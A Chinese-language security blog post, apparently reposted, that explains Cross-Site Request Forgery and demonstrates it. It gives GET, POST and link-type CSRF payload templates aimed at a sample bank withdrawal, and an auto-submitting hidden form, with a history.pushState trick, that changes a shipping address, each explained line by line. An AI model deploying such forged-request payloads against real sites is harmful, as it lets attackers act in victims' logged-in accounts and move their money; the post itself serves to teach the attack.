CSRF的学习和利用

admin 2024年2月19日14:24:44评论12 views字数 2585阅读8分37秒阅读模式

定义

Cross-Site Request Forgery跨站请求伪造

➢1、跨站点的请求
➢2、请求是伪造的 (假装可信)
它是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

csrf漏洞的成因就;是网站的cookie在浏览器中不会过期;只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含Csrf脚本的链接,可能会执行一-些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的。

CSRF模型

CSRF的学习和利用

CSRF场景

出现比较多的场景有用户密码的修改、银行转账、购物地址的修改或用户资料修改等等一 切有请求的过程中,

CSRF的本质就是在不知情的情况下执行请求

GET型CSRF

GET类型的CSRF利用非常简单,只需要一个 HTTP请求
一般会这样利用:。

<img src="htp://bank.example/withdraw?amount=1000O&for=hacker">

POST型CSRF

模板

<form action="ht://bank.example/withdraw" method=POST>
<input type="hidden" name='account" value="xiaoming" /> //name为参数value为参数的值
<input type="hidden" name='amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script> //自动提交表单

链接型CSRF

链接类型的CSRF并不常见;比起其他两种用户打开页面就中招的情况,这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击;

例如:

<a href="http://test.com/csrf/withdraw. php?amount=1000&for=hacker" taget="blank"> 重磅消息! !
<a/>

演示

首先先来抓个包

CSRF的学习和利用

然后构造请求

<body>
<form action="https://192.168.1.1/updateAddress.action" method="POST">
<input type="hidden" name="postName" value="è&#153;&#142;è&#153;&#142;è&#153;&#142;" />
<input type="hidden" name="postAddress" value="shshshsh" />
<input type="hidden" name="postPhone" value="18561120371" />
<input type="hidden" name="token" value="84d4c5f953681daeb4b2a4fd15d084eb" />
<input type="hidden" name="addressId" value="7e0438ad&#45;ffa9&#45;4063&#45;bee0&#45;326a5d37300d" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
  1. <form> 元素:

    • action 属性指定了表单数据提交的目标URL,即当用户点击"Submit request"按钮时,表单数据将被发送到 "https://192.168.1.1/updateAddress.action" 这个地址。

    • method 属性指定了HTTP请求方法,这里是 "POST",表示表单数据将通过HTTP POST请求发送给目标URL。

  2. <input> 元素:

    • 有五个隐藏的 <input> 元素,它们将包含一些数据,这些数据将在用户提交表单时一同发送给服务器。这些数据都是通过表单的隐藏字段(hidden field)来存储的,用户不会在页面上看到它们。

    • name 属性定义了字段的名称,而 value 属性定义了字段的值。

      具体字段和值如下:

    • postName 字段的值是 "è��è��è��"。

    • postAddress 字段的值是 "shshshsh"。

    • postPhone 字段的值是 "18561120371"。

    • token 字段的值是 "84d4c5f953681daeb4b2a4fd15d084eb"。

    • addressId 字段的值是 "7e0438ad-ffa9-4063-bee0-326a5d37300d"。

  3. <input> 元素:

    • 还有一个 <input> 元素,它是一个提交按钮,显示文本为 "Submit request"。

  4. <script> 元素:

    • 这个 <script> 元素包含一段JavaScript代码。

    • history.pushState('', '', '/'); 这行代码调用了浏览器的 pushState 函数,用于修改浏览器的浏览历史记录。在这里,它将当前URL设置为 "/",但不会实际导航到新的URL。

    • document.forms[0].submit(); 这行代码通过JavaScript自动提交了表单。它选择了页面上的第一个表单(因为是 forms[0]),然后调用了 submit() 方法,从而触发了表单的提交操作。

这段代码创建了一个包含隐藏字段的表单,然后使用JavaScript自动提交该表单。提交后,表单数据将被发送到指定的URL "https://192.168.1.1/updateAddress.action"
同时浏览器的URL历史记录会被修改,但不会实际导航到新的URL。

然后提交:

CSRF的学习和利用

总结

CSRF的本质就是看数据包

看参数

所有的参数我们都可以获取得到并且可以修改

例如token值,id值

来源:https://xz.aliyun.com/ 感谢【将遗憾写成歌

原文始发于微信公众号(衡阳信安):CSRF的学习和利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月19日14:24:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CSRF的学习和利用https://cn-sec.com/archives/2123356.html

发表评论

匿名网友 填写信息